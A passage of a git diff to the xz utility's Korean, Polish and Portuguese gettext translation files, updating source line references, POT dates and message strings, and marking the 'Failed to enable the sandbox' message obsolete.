(영문 또는 핀란드어)에 버그를 보고하십시오.\n" -#: src/xz/message.c:1158 src/lzmainfo/lzmainfo.c:42 +#: src/xz/message.c:1139 src/lzmainfo/lzmainfo.c:42 #, c-format msgid "%s home page: <%s>\n" msgstr "%s 홈페이지: <%s>\n" -#: src/xz/message.c:1162 +#: src/xz/message.c:1143 msgid "THIS IS A DEVELOPMENT VERSION NOT INTENDED FOR PRODUCTION USE." msgstr "!! 주의 !! 개발 버전이며 실제 사용 용도가 아닙니다." -#: src/xz/message.c:1179 +#: src/xz/message.c:1160 msgid "" "Filter chains are set using the --filters=FILTERS or\n" "--filters1=FILTERS ... --filters9=FILTERS options. Each filter in the chain\n" @@ -1039,7 +1035,7 @@ msgstr "" "필터 체인을 지정합니다. 체인의 각 필터는 공백 문자 또는 '--'으로 구분할 수 있습니다.\n" "필터 체인 대신 <0-9>[e] 사전 설정 값을 지정할 수 있습니다.\n" -#: src/xz/message.c:1185 +#: src/xz/message.c:1166 msgid "The supported filters and their options are:" msgstr "지원하는 필터와 옵션은 다음과 같습니다:" @@ -1133,3 +1129,6 @@ msgstr "표준 출력 기록 실패" #: src/common/tuklib_exit.c:42 msgid "Unknown error" msgstr "알 수 없는 오류" + +#~ msgid "Failed to enable the sandbox" +#~ msgstr "샌드박스 활성화 실패" diff --git a/po/pl.gmo b/po/pl.gmo new file mode 100644 index 00000000..535dd5db Binary files /dev/null and b/po/pl.gmo differ diff --git a/po/pl.po b/po/pl.po index 113180e5..ab1f6bd2 100644 --- a/po/pl.po +++ b/po/pl.po @@ -8,7 +8,7 @@ msgid "" msgstr "" "Project-Id-Version: xz 5.6.0-pre2\n" "Report-Msgid-Bugs-To: xz@tukaani.org\n" -"POT-Creation-Date: 2024-02-15 01:57+0800\n" +"POT-Creation-Date: 2024-02-24 16:31+0800\n" "PO-Revision-Date: 2024-02-15 21:15+0100\n" "Last-Translator: Jakub Bogusz \n" "Language-Team: Polish \n" @@ -56,8 +56,8 @@ msgstr "Wraz z opcją „--files” lub „--files0” można podać tylko jeden #. string because French needs a space #. before the colon ("%s : %s"). #: src/xz/args.c:621 src/xz/coder.c:1058 src/xz/coder.c:1074 -#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:685 -#: src/xz/file_io.c:759 src/xz/file_io.c:849 src/xz/file_io.c:1020 +#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:518 +#: src/xz/file_io.c:592 src/xz/file_io.c:682 src/xz/file_io.c:854 #: src/xz/list.c:368 src/xz/list.c:414 src/xz/list.c:476 src/xz/list.c:590 #: src/xz/list.c:599 #, c-format @@ -181,16 +181,12 @@ msgstr "Skorygowano rozmiar słownika LZMA%c dla --filters%u z %s MiB do %s MiB, msgid "Error changing to filter chain %u: %s" msgstr "Błąd podczas zmiany w łańcuchu filtrów %u: %s" -#: src/xz/file_io.c:136 src/xz/file_io.c:144 +#: src/xz/file_io.c:122 src/xz/file_io.c:130 #, c-format msgid "Error creating a pipe: %s" msgstr "Błąd tworzenia potoku: %s" -#: src/xz/file_io.c:332 -msgid "Failed to enable the sandbox" -msgstr "Nie udało się włączyć piaskownicy" - -#: src/xz/file_io.c:374 +#: src/xz/file_io.c:207 #, c-format msgid "%s: poll() failed: %s" msgstr "%s: poll() nie powiodło się: %s" @@ -205,111 +201,111 @@ msgstr "%s: poll() nie powiodło się: %s" #. it is possible that the user has put a new file in place #. of the original file, and in that case it obviously #. shouldn't be removed. -#: src/xz/file_io.c:441 +#: src/xz/file_io.c:274 #, c-format msgid "%s: File seems to have been moved, not removing" msgstr "%s: Plik wygląda na przeniesiony, nie zostanie usunięty" -#: src/xz/file_io.c:448 src/xz/file_io.c:1004 +#: src/xz/file_io.c:281 src/xz/file_io.c:838 #, c-format msgid "%s: Cannot remove: %s" msgstr "%s: Nie można usunąć: %s" -#: src/xz/file_io.c:474 +#: src/xz/file_io.c:307 #, c-format msgid "%s: Cannot set the file owner: %s" msgstr "%s: Nie można ustawić właściciela pliku: %s" -#: src/xz/file_io.c:487 +#: src/xz/file_io.c:320 #, c-format msgid "%s: Cannot set the file group: %s" msgstr "%s: Nie można ustawić grupy pliku: %s" -#: src/xz/file_io.c:506 +#: src/xz/file_io.c:339 #, c-format msgid "%s: Cannot set the file permissions: %s" msgstr "%s: Nie można ustawić uprawnień pliku: %s" -#: src/xz/file_io.c:632 +#: src/xz/file_io.c:465 #, c-format msgid "Error getting the file status flags from standard input: %s" msgstr "Błąd podczas pobierania flag stanu pliku ze standardowego wejścia: %s" -#: src/xz/file_io.c:690 src/xz/file_io.c:752 +#: src/xz/file_io.c:523 src/xz/file_io.c:585 #, c-format msgid "%s: Is a symbolic link, skipping" msgstr "%s: Jest dowiązaniem symbolicznym, pominięto" -#: src/xz/file_io.c:781 +#: src/xz/file_io.c:614 #, c-format msgid "%s: Is a directory, skipping" msgstr "%s: Jest katalogiem, pominięto" -#: src/xz/file_io.c:787 +#: src/xz/file_io.c:620 #, c-format msgid "%s: Not a regular file, skipping" msgstr "%s: Nie jest zwykłym plikiem, pominięto" -#: src/xz/file_io.c:804 +#: src/xz/file_io.c:637 #, c-format msgid "%s: File has setuid or setgid bit set, skipping" msgstr "%s: Plik ma ustawiony bit setuid lub setgid, pominięto" -#: src/xz/file_io.c:811 +#: src/xz/file_io.c:644 #, c-format msgid "%s: File has sticky bit set, skipping" msgstr "%s: Plik ma ustawiony bit sticky, pominięto" -#: src/xz/file_io.c:818 +#: src/xz/file_io.c:651 #, c-format msgid "%s: Input file has more than one hard link, skipping" msgstr "%s: Plik wejściowy ma więcej niż jedno dowiązanie zwykłe, pominięto" -#: src/xz/file_io.c:860 +#: src/xz/file_io.c:693 msgid "Empty filename, skipping" msgstr "Pusta nazwa pliku, pominięto" -#: src/xz/file_io.c:914 +#: src/xz/file_io.c:748 #, c-format msgid "Error restoring the status flags to standard input: %s" msgstr "Błąd podczas odtwarzania flag stanu dla standardowego wejścia: %s" -#: src/xz/file_io.c:962 +#: src/xz/file_io.c:796 #, c-format msgid "Error getting the file status flags from standard output: %s" msgstr "Błąd podczas pobierania flag stanu pliku ze standardowego wyjścia: %s" -#: src/xz/file_io.c:1161 +#: src/xz/file_io.c:995 #, c-format msgid "Error restoring the O_APPEND flag to standard output: %s" msgstr "Błąd podczas odtwarzania flagi O_APPEND dla standardowego wyjścia: %s" -#: src/xz/file_io.c:1173 +#: src/xz/file_io.c:1007 #, c-format msgid "%s: Closing the file failed: %s" msgstr "%s: Zamknięcie pliku nie powiodło się: %s" -#: src/xz/file_io.c:1209 src/xz/file_io.c:1471 +#: src/xz/file_io.c:1043 src/xz/file_io.c:1305 #, c-format msgid "%s: Seeking failed when trying to create a sparse file: %s" msgstr "%s: Zmiana pozycji nie powiodła się podczas próby utworzenia pliku rzadkiego: %s" -#: src/xz/file_io.c:1309 +#: src/xz/file_io.c:1143 #, c-format msgid "%s: Read error: %s" msgstr "%s: Błąd odczytu: %s" -#: src/xz/file_io.c:1339 +#: src/xz/file_io.c:1173 #, c-format msgid "%s: Error seeking the file: %s" msgstr "%s: Błąd podczas zmiany pozycji w pliku: %s" -#: src/xz/file_io.c:1363 +#: src/xz/file_io.c:1197 #, c-format msgid "%s: Unexpected end of file" msgstr "%s: Nieoczekiwany koniec pliku" -#: src/xz/file_io.c:1422 +#: src/xz/file_io.c:1256 #, c-format msgid "%s: Write error: %s" msgstr "%s: Błąd zapisu: %s" @@ -571,26 +567,26 @@ msgstr "Proszę spróbować „lzmainfo” z plikami .lzma." msgid "--list does not support reading from standard input" msgstr "--list nie obsługuje odczytu ze standardowego wejścia" -#: src/xz/main.c:95 +#: src/xz/main.c:89 #, c-format msgid "%s: Error reading filenames: %s" msgstr "%s: Błąd odczytu nazw plików: %s" -#: src/xz/main.c:102 +#: src/xz/main.c:96 #, c-format msgid "%s: Unexpected end of input when reading filenames" msgstr "%s: Nieoczekiwany koniec wejścia podczas odczytu nazw plików" -#: src/xz/main.c:126 +#: src/xz/main.c:120 #, c-format msgid "%s: Null character found when reading filenames; maybe you meant to use '--files0' instead of '--files'?" msgstr "%s: Napotkano znak NUL podczas odczytu nazw plików; może miało być „--files0” zamiast „--files”?" -#: src/xz/main.c:206 +#: src/xz/main.c:191 msgid "Compression and decompression with --robot are not supported yet." msgstr "Kompresja i dekompresja z opcją --robot nie jest jeszcze obsługiwana." -#: src/xz/main.c:284 +#: src/xz/main.c:289 msgid "Cannot read data from standard input when reading filenames from standard input" msgstr "Nie można odczytać danych ze standardowego wejścia przy czytaniu nazw plików ze standardowego wejścia" @@ -598,68 +594,68 @@ msgstr "Nie można odczytać danych ze standardowego wejścia przy czytaniu nazw #. of the line in messages. Usually it becomes "xz: ". #. This is a translatable string because French needs #. a space before a colon. -#: src/xz/message.c:670 src/xz/message.c:725 +#: src/xz/message.c:651 src/xz/message.c:706 #, c-format msgid "%s: " msgstr "%s: " -#: src/xz/message.c:797 src/xz/message.c:856 src/lzmainfo/lzmainfo.c:131 +#: src/xz/message.c:778 src/xz/message.c:837 src/lzmainfo/lzmainfo.c:131 msgid "Internal error (bug)" msgstr "Błąd wewnętrzny" -#: src/xz/message.c:804 +#: src/xz/message.c:785 msgid "Cannot establish signal handlers" msgstr "Nie można ustawić obsługi sygnałów" -#: src/xz/message.c:813 +#: src/xz/message.c:794 msgid "No integrity check; not verifying file integrity" msgstr "Brak kontroli spójności; poprawność plików nie będzie weryfikowana" -#: src/xz/message.c:816 +#: src/xz/message.c:797 msgid "Unsupported type of integrity check; not verifying file integrity" msgstr "Nieobsługiwany typ kontroli spójności; poprawność plików nie będzie weryfikowana" -#: src/xz/message.c:823 +#: src/xz/message.c:804 msgid "Memory usage limit reached" msgstr "Osiągnięto limit użycia pamięci" -#: src/xz/message.c:826 +#: src/xz/message.c:807 msgid "File format not recognized" msgstr "Nie rozpoznany format pliku" -#: src/xz/message.c:829 +#: src/xz/message.c:810 msgid "Unsupported options" msgstr "Nieobsługiwane opcje" -#: src/xz/message.c:832 +#: src/xz/message.c:813 msgid "Compressed data is corrupt" msgstr "Dane skompresowane są uszkodzone" -#: src/xz/message.c:835 +#: src/xz/message.c:816 msgid "Unexpected end of input" msgstr "Nieoczekiwany koniec wejścia" -#: src/xz/message.c:877 +#: src/xz/message.c:858 #, c-format msgid "%s MiB of memory is required. The limiter is disabled." msgstr "Wymagane jest %s MiB pamięci. Limit jest wyłączony." -#: src/xz/message.c:905 +#: src/xz/message.c:886 #, c-format msgid "%s MiB of memory is required. The limit is %s." msgstr "Wymagane jest %s MiB pamięci. Limit to %s." -#: src/xz/message.c:924 +#: src/xz/message.c:905 #, c-format msgid "%s: Filter chain: %s\n" msgstr "%s: Łańcuch filtrów: %s\n" -#: src/xz/message.c:935 +#: src/xz/message.c:916 #, c-format msgid "Try '%s --help' for more information." msgstr "Polecenie „%s --help” pokaże więcej informacji." -#: src/xz/message.c:961 +#: src/xz/message.c:942 #, c-format msgid "" "Usage: %s [OPTION]... [FILE]...\n" @@ -670,17 +666,17 @@ msgstr "" "Kompresja lub dekompresja PLIKÓW w formacie .xz.\n" "\n" -#: src/xz/message.c:968 +#: src/xz/message.c:949 msgid "Mandatory arguments to long options are mandatory for short options too.\n" msgstr "" "Argumenty obowiązkowe dla opcji długich są obowiązkowe również dla opcji\n" "krótkich.\n" -#: src/xz/message.c:972 +#: src/xz/message.c:953 msgid " Operation mode:\n" msgstr " Tryb pracy:\n" -#: src/xz/message.c:975 +#: src/xz/message.c:956 msgid "" " -z, --compress force compression\n" " -d, --decompress force decompression\n" @@ -692,7 +688,7 @@ msgstr "" " -t, --test sprawdzenie spójności plików skompresowanych\n" " -l, --list wypisanie informacji o plikach .xz" -#: src/xz/message.c:981 +#: src/xz/message.c:962 msgid "" "\n" " Operation modifiers:\n" @@ -700,7 +696,7 @@ msgstr "" "\n" " Modyfikatory operacji:\n" -#: src/xz/message.c:984 +#: src/xz/message.c:965 msgid "" " -k, --keep keep (don't delete) input files\n" " -f, --force force overwrite of output file and (de)compress links\n" @@ -710,7 +706,7 @@ msgstr "" " -f, --force nadpisywanie plików wyjściowych i (de)kompresja dowiązań\n" " -c, --stdout zapis na standardowe wyjście, nieusuwanie plików wej." -#: src/xz/message.c:993 +#: src/xz/message.c:974 msgid "" " --single-stream decompress only the first stream, and silently\n" " ignore possible remaining input data" @@ -718,7 +714,7 @@ msgstr "" " --single-stream dekompresja tylko pierwszego strumienia, ciche\n" " zignorowanie pozostałych danych wejściowych" -#: src/xz/message.c:996 +#: src/xz/message.c:977 msgid "" " --no-sparse do not create sparse files when decompressing\n" " -S, --suffix=.SUF use the suffix '.SUF' on compressed files\n" @@ -734,7 +730,7 @@ msgstr "" " wejścia; muszą być zakończone znakiem nowej linii\n" " --files0[=PLIK] podobnie do --files, ale znakiem kończącym musi być NUL" -#: src/xz/message.c:1005 +#: src/xz/message.c:986 msgid "" "\n" " Basic file format and compression options:\n" @@ -742,7 +738,7 @@ msgstr "" "\n" " Podstawowe opcje formatu pliku i kompresji:\n" -#: src/xz/message.c:1007 +#: src/xz/message.c:988 msgid "" " -F, --format=FMT file format to encode or decode; possible values are\n" " 'auto' (default), 'xz', 'lzma', 'lzip', and 'raw'\n" @@ -754,11 +750,11 @@ msgstr "" " -C, --check=TEST typ kontroli spójności: „none” (ostrożnie!),\n" " „crc32”, „crc64” (domyślny) lub „sha256”" -#: src/xz/message.c:1012 +#: src/xz/message.c:993 msgid " --ignore-check don't verify the integrity check when decompressing" msgstr " --ignore-check bez kontroli sprawdzania integralności przy dekompresji" -#: src/xz/message.c:1016 +#: src/xz/message.c:997 msgid "" " -0 ... -9 compression preset; default is 6; take compressor *and*\n" " decompressor memory usage into account before using 7-9!" @@ -767,7 +763,7 @@ msgstr "" " użyciem wartości 7-9 należy wziąć pod uwagę wykorzystanie\n" " pamięci przy kompresji *oraz* dekompresji!" -#: src/xz/message.c:1020 +#: src/xz/message.c:1001 msgid "" " -e, --extreme try to improve compression ratio by using more CPU time;\n" " does not affect decompressor memory requirements" @@ -776,7 +772,7 @@ msgstr "" " ilości czasu procesora; nie wpływa na wymagania\n" " pamięciowe dekompresora" -#: src/xz/message.c:1024 +#: src/xz/message.c:1005 msgid "" " -T, --threads=NUM use at most NUM threads; the default is 0 which uses\n" " as many threads as there are processor cores" @@ -784,7 +780,7 @@ msgstr "" " -T, --threads=ILE użycie maksymalnie ILU wątków; domyślnie 0, co oznacza\n" " tyle, ile jest rdzeni procesorów" -#: src/xz/message.c:1029 +#: src/xz/message.c:1010 msgid "" " --block-size=SIZE\n" " start a new .xz block after every SIZE bytes of input;\n" @@ -795,7 +791,7 @@ msgstr "" " opcja służy do ustawienia rozmiaru bloku dla kompresji\n" " wielowątkowej" -#: src/xz/message.c:1033 +#: src/xz/message.c:1014 msgid "" " --block-list=BLOCKS\n" " start a new .xz block after the given comma-separated\n" @@ -809,7 +805,7 @@ msgstr "" " podać numer łańcucha filtrów (0-9) ze znakiem „:” przed\n" " rozmiarem danych nieskompresowanych" -#: src/xz/message.c:1039 +#: src/xz/message.c:1020 msgid "" " --flush-timeout=TIMEOUT\n" " when compressing, if more than TIMEOUT milliseconds has\n" @@ -821,7 +817,7 @@ msgstr "" " ostatniegu zapisu bloku, a odczyt kolejnych danych byłby\n" " blokujący, wszystkie gotowe dane są zapisywane" -#: src/xz/message.c:1045 +#: src/xz/message.c:1026 #, no-c-format msgid "" " --memlimit-compress=LIMIT\n" @@ -840,7 +836,7 @@ msgstr "" " dekompresji, dekompresji wielowątkowej lub wszystkich;\n" " LIMIT jest w bajtach, % RAM lub 0 dla limitów domyślnych" -#: src/xz/message.c:1054 +#: src/xz/message.c:1035 msgid "" " --no-adjust if compression settings exceed the memory usage limit,\n" " give an error instead of adjusting the settings downwards" @@ -849,7 +845,7 @@ msgstr "" " pamięci, zostanie zgłoszony błąd zamiast zmniejszania\n" " ustawień" -#: src/xz/message.c:1060 +#: src/xz/message.c:1041 msgid "" "\n" " Custom filter chain for compression (alternative for using presets):" @@ -857,7 +853,7 @@ msgstr "" "\n" " Łańcuch własnych filtrów do kompresji (alternatywa do używania -0 .. -9):" -#: src/xz/message.c:1063 +#: src/xz/message.c:1044 msgid "" "\n" " --filters=FILTERS set the filter chain using the liblzma filter string\n" @@ -867,7 +863,7 @@ msgstr "" " --filters=FILTRY ustawienie łańcucha filtrów przy użyciu składni łańcucha\n" " filtrów liblzma; więcej informacji z opcją --filters-help" -#: src/xz/message.c:1069 +#: src/xz/message.c:1050 msgid "" " --filters1=FILTERS ... --filters9=FILTERS\n" " set additional filter chains using the liblzma filter\n" @@ -878,7 +874,7 @@ msgstr "" " składni łańcucha filtrów liblzma do użyciaw opcji\n" " --block-list" -#: src/xz/message.c:1075 +#: src/xz/message.c:1056 msgid "" " --filters-help display more information about the liblzma filter string\n" " syntax and exit." @@ -886,7 +882,7 @@ msgstr "" " --filters-help więcej informacji o składni lańcuchów filtrów libzma\n" " i zakończenie." -#: src/xz/message.c:1086 +#: src/xz/message.c:1067 msgid "" "\n" " --lzma1[=OPTS] LZMA1 or LZMA2; OPTS is a comma-separated list of zero or\n" @@ -915,7 +911,7 @@ msgstr "" " mf=NAZWA dopasowywacz (hc3, hc4, bt2, bt3, bt4; bt4)\n" " depth=ILE maks. głębokość szukania; 0=auto (domyślne)" -#: src/xz/message.c:1101 +#: src/xz/message.c:1082 msgid "" "\n" " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" @@ -941,7 +937,7 @@ msgstr "" " Poprawne OPCJE dla wszystkich filtrów BCJ:\n" " start=ILE offset początku konwersji (domyślnie=0)" -#: src/xz/message.c:1115 +#: src/xz/message.c:1096 msgid "" "\n" " --delta[=OPTS] Delta filter; valid OPTS (valid values; default):\n" @@ -953,7 +949,7 @@ msgstr "" " dist=ILE odległość między bajtami odejmowanymi od\n" " siebie (1-256; 1)" -#: src/xz/message.c:1123 +#: src/xz/message.c:1104 msgid "" "\n" " Other options:\n" @@ -961,7 +957,7 @@ msgstr "" "\n" " Inne opcje:\n" -#: src/xz/message.c:1126 +#: src/xz/message.c:1107 msgid "" " -q, --quiet suppress warnings; specify twice to suppress errors too\n" " -v, --verbose be verbose; specify twice for even more verbose" @@ -969,15 +965,15 @@ msgstr "" " -q, --quiet pominięcie ostrzeżeń; dwukrotne podanie pomija też błędy\n" " -v, --verbose więcej informacji; dwukrotne podanie to jeszcze więcej" -#: src/xz/message.c:1131 +#: src/xz/message.c:1112 msgid " -Q, --no-warn make warnings not affect the exit status" msgstr " -Q, --no-warn ostrzeżenia nie mają wpływu na status zakończenia" -#: src/xz/message.c:1133 +#: src/xz/message.c:1114 msgid " --robot use machine-parsable messages (useful for scripts)" msgstr " --robot komunikaty w formacie dla maszyny (do skryptów)" -#: src/xz/message.c:1136 +#: src/xz/message.c:1117 msgid "" " --info-memory display the total amount of RAM and the currently active\n" " memory usage limits, and exit" @@ -985,7 +981,7 @@ msgstr "" " --info-memory wyświetlenie całkowitej ilości pamięci RAM oraz aktualnie\n" " aktywnych limitów pamięci i zakończenie pracy" -#: src/xz/message.c:1139 +#: src/xz/message.c:1120 msgid "" " -h, --help display the short help (lists only the basic options)\n" " -H, --long-help display this long help and exit" @@ -993,7 +989,7 @@ msgstr "" " -h, --help wyświetlenie krótkiego opisu (tylko podstawowe opcje)\n" " -H, --long-help wyświetlenie tego długiego opisu i zakończenie" -#: src/xz/message.c:1143 +#: src/xz/message.c:1124 msgid "" " -h, --help display this short help and exit\n" " -H, --long-help display the long help (lists also the advanced options)" @@ -1001,11 +997,11 @@ msgstr "" " -h, --help wyświetlenie tego krótkiego opisu i zakończenie\n" " -H, --long-help wyświetlenie długiego opisu (także opcje zaawansowane)" -#: src/xz/message.c:1148 +#: src/xz/message.c:1129 msgid " -V, --version display the version number and exit" msgstr " -V, --version wyświetlenie informacji o wersji i zakończenie" -#: src/xz/message.c:1150 src/lzmainfo/lzmainfo.c:37 +#: src/xz/message.c:1131 src/lzmainfo/lzmainfo.c:37 #, c-format msgid "" "\n" @@ -1018,7 +1014,7 @@ msgstr "" #. for this package. Please add _another line_ saying #. "Report translation bugs to <...>\n" with the email or WWW #. address for translation bugs. Thanks. -#: src/xz/message.c:1156 src/lzmainfo/lzmainfo.c:40 +#: src/xz/message.c:1137 src/lzmainfo/lzmainfo.c:40 #, c-format msgid "Report bugs to <%s> (in English or Finnish).\n" msgstr "" @@ -1027,16 +1023,16 @@ msgstr "" "Błędy w tłumaczeniu prosimy zgłaszać na adres\n" ".\n" -#: src/xz/message.c:1158 src/lzmainfo/lzmainfo.c:42 +#: src/xz/message.c:1139 src/lzmainfo/lzmainfo.c:42 #, c-format msgid "%s home page: <%s>\n" msgstr "Strona domowa %s: <%s>\n" -#: src/xz/message.c:1162 +#: src/xz/message.c:1143 msgid "THIS IS A DEVELOPMENT VERSION NOT INTENDED FOR PRODUCTION USE." msgstr "TA WERSJA JEST ROZWOJOWA, NIE PRZEZNACZONA DO UŻYTKU PRODUKCYJNEGO." -#: src/xz/message.c:1179 +#: src/xz/message.c:1160 msgid "" "Filter chains are set using the --filters=FILTERS or\n" "--filters1=FILTERS ... --filters9=FILTERS options. Each filter in the chain\n" @@ -1048,7 +1044,7 @@ msgstr "" "rozdzielony spacjami lub „--”. Alternatywnie zamiast łańcucha filtrów można\n" "podać predefiniowane <0-9>[e].\n" -#: src/xz/message.c:1185 +#: src/xz/message.c:1166 msgid "The supported filters and their options are:" msgstr "Obsługiwane filtry i ich opcje to:" @@ -1142,3 +1138,6 @@ msgstr "Zapis na standardowe wyjście nie powiódł się" #: src/common/tuklib_exit.c:42 msgid "Unknown error" msgstr "Nieznany błąd" + +#~ msgid "Failed to enable the sandbox" +#~ msgstr "Nie udało się włączyć piaskownicy" diff --git a/po/pt.gmo b/po/pt.gmo new file mode 100644 index 00000000..7499ab76 Binary files /dev/null and b/po/pt.gmo differ diff --git a/po/pt.po b/po/pt.po index a7233e05..a05761fb 100644 --- a/po/pt.po +++ b/po/pt.po @@ -6,8 +6,8 @@ msgid "" msgstr "" "Project-Id-Version: xz 5.2.4\n" -"Report-Msgid-Bugs-To: lasse.collin@tukaani.org\n" -"POT-Creation-Date: 2022-07-01 21:43+0800\n" +"Report-Msgid-Bugs-To: xz@tukaani.org\n" +"POT-Creation-Date: 2024-02-24 16:31+0800\n" "PO-Revision-Date: 2019-09-27 08:08+0100\n" "Last-Translator: Pedro Albuquerque \n" "Language-Team: Portuguese \n" @@ -19,113 +19,185 @@ msgstr "" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Generator: Gtranslator 2.91.7\n" -#: src/xz/args.c:63 +#: src/xz/args.c:77 #, c-format msgid "%s: Invalid argument to --block-list" msgstr "%s: argumento inválido para --block-list" -#: src/xz/args.c:73 +#: src/xz/args.c:87 #, c-format msgid "%s: Too many arguments to --block-list" msgstr "%s: demasiados argumentos para --block-list" -#: src/xz/args.c:102 +#: src/xz/args.c:124 +#, c-format +msgid "In --block-list, block size is missing after filter chain number '%c:'" +msgstr "" + +#: src/xz/args.c:150 msgid "0 can only be used as the last element in --block-list" msgstr "0 só pode ser usado como o último elemento em --block-list" -#: src/xz/args.c:406 +#: src/xz/args.c:539 #, c-format msgid "%s: Unknown file format type" msgstr "%s: tipo de formato de ficheiro desconhecido" -#: src/xz/args.c:429 src/xz/args.c:437 +#: src/xz/args.c:562 src/xz/args.c:570 #, c-format msgid "%s: Unsupported integrity check type" msgstr "%s: tipo de verificação de integridade não suportado" -#: src/xz/args.c:473 -msgid "Only one file can be specified with `--files' or `--files0'." +#: src/xz/args.c:606 +#, fuzzy +#| msgid "Only one file can be specified with `--files' or `--files0'." +msgid "Only one file can be specified with '--files' or '--files0'." msgstr "Só pode especificar um ficheiro com \"--files\" ou \"--files0\"." -#: src/xz/args.c:541 +#. TRANSLATORS: This is a translatable +#. string because French needs a space +#. before the colon ("%s : %s"). +#: src/xz/args.c:621 src/xz/coder.c:1058 src/xz/coder.c:1074 +#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:518 +#: src/xz/file_io.c:592 src/xz/file_io.c:682 src/xz/file_io.c:854 +#: src/xz/list.c:368 src/xz/list.c:414 src/xz/list.c:476 src/xz/list.c:590 +#: src/xz/list.c:599 +#, fuzzy, c-format +#| msgid "%s: " +msgid "%s: %s" +msgstr "%s: " + +#: src/xz/args.c:677 #, c-format msgid "The environment variable %s contains too many arguments" msgstr "A variável de ambiente %s contém demasiados argumentos" -#: src/xz/args.c:643 +#: src/xz/args.c:779 msgid "Compression support was disabled at build time" msgstr "O suporte a compressão foi desactivado ao compilar" -#: src/xz/args.c:650 +#: src/xz/args.c:786 msgid "Decompression support was disabled at build time" msgstr "O suporte a descompressão foi desactivado ao compilar" -#: src/xz/coder.c:110 +#: src/xz/args.c:792 +msgid "Compression of lzip files (.lz) is not supported" +msgstr "" + +#: src/xz/args.c:814 +msgid "--block-list is ignored unless compressing to the .xz format" +msgstr "" + +#: src/xz/args.c:827 src/xz/args.c:836 +#, fuzzy +#| msgid "%s: With --format=raw, --suffix=.SUF is required unless writing to stdout" +msgid "With --format=raw, --suffix=.SUF is required unless writing to stdout" +msgstr "%s: com --format=raw, --suffix=.SUF é requerido, a menos que seja escrito em stdout" + +#: src/xz/coder.c:140 msgid "Maximum number of filters is four" msgstr "O número máximo de filtros é quatro" -#: src/xz/coder.c:129 +#: src/xz/coder.c:178 +#, c-format +msgid "Error in --filters%s=FILTERS option:" +msgstr "" + +#: src/xz/coder.c:228 msgid "Memory usage limit is too low for the given filter setup." msgstr "O limite de uso de memória é baixo demais para a configuração de filtro dada." -#: src/xz/coder.c:159 +#: src/xz/coder.c:243 +#, c-format +msgid "filter chain %u used by --block-list but not specified with --filters%u=" +msgstr "" + +#: src/xz/coder.c:374 msgid "Using a preset in raw mode is discouraged." msgstr "O uso de uma predefinição em modo bruto é desencorajado." -#: src/xz/coder.c:161 +#: src/xz/coder.c:376 msgid "The exact options of the presets may vary between software versions." msgstr "As opções exactas de predefinições podem variar entre versões do programa." -#: src/xz/coder.c:184 +#: src/xz/coder.c:402 msgid "The .lzma format supports only the LZMA1 filter" msgstr "O formato .lzma tem só suporta o filtro LZMA1" -#: src/xz/coder.c:192 +#: src/xz/coder.c:410 msgid "LZMA1 cannot be used with the .xz format" msgstr "Impossível utilizar LZMA1 com o formato .xz" -#: src/xz/coder.c:209 -msgid "The filter chain is incompatible with --flush-timeout" +#: src/xz/coder.c:434 +#, fuzzy, c-format +#| msgid "The filter chain is incompatible with --flush-timeout" +msgid "Filter chain %u is incompatible with --flush-timeout" msgstr "A cadeia de filtros é incompatível com --flush-timeout" -#: src/xz/coder.c:215 +#: src/xz/coder.c:443 msgid "Switching to single-threaded mode due to --flush-timeout" msgstr "A mudar para o modo de linha única devido a --flush-timeout" -#: src/xz/coder.c:235 +#: src/xz/coder.c:484 +#, fuzzy, c-format +#| msgid "Unsupported options" +msgid "Unsupported options in filter chain %u" +msgstr "Opções não suportadas" + +#: src/xz/coder.c:515 #, c-format msgid "Using up to % threads." msgstr "A usar até % linhas." -#: src/xz/coder.c:251 +#: src/xz/coder.c:531 msgid "Unsupported filter chain or filter options" msgstr "Opções de filtro ou cadeia de filtros não suportadas" -#: src/xz/coder.c:263 +#: src/xz/coder.c:552 #, c-format msgid "Decompression will need %s MiB of memory." msgstr "A descompressão precisará de %s MiB de memória." -#: src/xz/coder.c:300 +#: src/xz/coder.c:584 +#, fuzzy, c-format +#| msgid "Adjusted the number of threads from %s to %s to not exceed the memory usage limit of %s MiB" +msgid "Reduced the number of threads from %s to %s to not exceed the memory usage limit of %s MiB" +msgstr "Ajustado o número de linhas de %s de %s para não exceder o limite de uso de memória de %s MiB" + +#: src/xz/coder.c:604 #, c-format -msgid "Adjusted the number of threads from %s to %s to not exceed the memory usage limit of %s MiB" +msgid "Reduced the number of threads from %s to one. The automatic memory usage limit of %s MiB is still being exceeded. %s MiB of memory is required. Continuing anyway." +msgstr "" + +#: src/xz/coder.c:631 +#, fuzzy, c-format +#| msgid "Adjusted the number of threads from %s to %s to not exceed the memory usage limit of %s MiB" +msgid "Switching to single-threaded mode to not exceed the memory usage limit of %s MiB" msgstr "Ajustado o número de linhas de %s de %s para não exceder o limite de uso de memória de %s MiB" -#: src/xz/coder.c:354 +#: src/xz/coder.c:756 #, c-format msgid "Adjusted LZMA%c dictionary size from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" msgstr "Ajustado o tamanho de dicionário de LZMA%c de %s MiB para %s MiB para não exceder o limite de uso de memória de %s MiB" -#: src/xz/file_io.c:110 src/xz/file_io.c:118 +#: src/xz/coder.c:766 +#, fuzzy, c-format +#| msgid "Adjusted LZMA%c dictionary size from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" +msgid "Adjusted LZMA%c dictionary size for --filters%u from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" +msgstr "Ajustado o tamanho de dicionário de LZMA%c de %s MiB para %s MiB para não exceder o limite de uso de memória de %s MiB" + +#: src/xz/coder.c:1140 +#, fuzzy, c-format +#| msgid "Error creating a pipe: %s" +msgid "Error changing to filter chain %u: %s" +msgstr "Erro ao criar um túnel: %s" + +#: src/xz/file_io.c:122 src/xz/file_io.c:130 #, c-format msgid "Error creating a pipe: %s" msgstr "Erro ao criar um túnel: %s" -#: src/xz/file_io.c:224 -msgid "Failed to enable the sandbox" -msgstr "Falha ao activar a Sandbox" - -#: src/xz/file_io.c:266 +#: src/xz/file_io.c:207 #, c-format msgid "%s: poll() failed: %s" msgstr "%s: poll() falhou: %s" @@ -140,209 +212,355 @@ msgstr "%s: poll() falhou: %s" #. it is possible that the user has put a new file in place #. of the original file, and in that case it 